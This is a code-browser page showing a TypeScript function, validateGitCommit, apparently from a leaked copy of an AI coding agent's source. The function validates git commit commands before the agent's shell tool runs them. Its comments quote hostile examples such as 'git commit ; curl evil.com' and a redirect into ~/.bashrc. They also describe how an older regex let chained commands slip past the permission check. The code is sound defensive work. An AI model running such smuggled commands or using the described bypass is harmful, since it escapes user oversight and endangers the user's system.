MCPcopy Create free account
hub / github.com/AnukarOP/claude-code-leaked / validateGitCommit

Function validateGitCommit

source code/tools/BashTool/bashSecurity.ts:614–742  ·  view source on GitHub ↗
(context: ValidationContext)

Source from the content-addressed store, hash-verified

612}
613
614function validateGitCommit(context: ValidationContext): PermissionResult {
615 const { originalCommand, baseCommand } = context
616
617 if (baseCommand !== 'git' || !/^git\s+commit\s+/.test(originalCommand)) {
618 return { behavior: 'passthrough', message: 'Not a git commit' }
619 }
620
621 // SECURITY: Backslashes can cause our regex to mis-identify quote boundaries
622 // (e.g., `git commit -m "test\"msg" && evil`). Legitimate commit messages
623 // virtually never contain backslashes, so bail to the full validator chain.
624 if (originalCommand.includes('\\')) {
625 return {
626 behavior: 'passthrough',
627 message: 'Git commit contains backslash, needs full validation',
628 }
629 }
630
631 // SECURITY: The `.*?` before `-m` must NOT match shell operators. Previously
632 // `.*?` matched anything except `\n`, including `;`, `&`, `|`, `` ` ``, `$(`.
633 // For `git commit ; curl evil.com -m 'x'`, `.*?` swallowed `; curl evil.com `
634 // leaving remainder=`` (falsy → remainder check skipped) → returned `allow`
635 // for a compound command. Early-allow skips ALL main validators (line ~1908),
636 // nullifying validateQuotedNewline, validateBackslashEscapedOperators, etc.
637 // While splitCommand currently catches this downstream, early-allow is a
638 // POSITIVE ASSERTION that the FULL command is safe — which it is NOT.
639 //
640 // Also: `\s+` between `git` and `commit` must NOT match `\n`/`\r` (command
641 // separators in bash). Use `[ \t]+` for horizontal-only whitespace.
642 //
643 // The `[^;&|`$<>()\n\r]*?` class excludes shell metacharacters. We also
644 // exclude `<` and `>` here (redirects) — they're allowed in the REMAINDER
645 // for `--author="Name <email>"` but must not appear BEFORE `-m`.
646 const messageMatch = originalCommand.match(
647 /^git[ \t]+commit[ \t]+[^;&|`$<>()\n\r]*?-m[ \t]+(["'])([\s\S]*?)\1(.*)$/,
648 )
649
650 if (messageMatch) {
651 const [, quote, messageContent, remainder] = messageMatch
652
653 if (quote === '"' && messageContent && /\$\(|`|\$\{/.test(messageContent)) {
654 logEvent('tengu_bash_security_check_triggered', {
655 checkId: BASH_SECURITY_CHECK_IDS.GIT_COMMIT_SUBSTITUTION,
656 subId: 1,
657 })
658 return {
659 behavior: 'ask',
660 message: 'Git commit message contains command substitution patterns',
661 }
662 }
663
664 // SECURITY: Check remainder for shell operators that could chain commands
665 // or redirect output. The `.*` before `-m` in the regex can swallow flags
666 // like `--amend`, leaving `&& evil` or `> ~/.bashrc` in the remainder.
667 // Previously we only checked for $() / `` / ${} here, missing operators
668 // like ; | & && || < >.
669 //
670 // `<` and `>` can legitimately appear INSIDE quotes in --author values
671 // like `--author="Name <email>"`. An UNQUOTED `>` is a shell redirect

Callers

nothing calls this directly

Calls 1

logEventFunction · 0.85

Tested by

no test coverage detected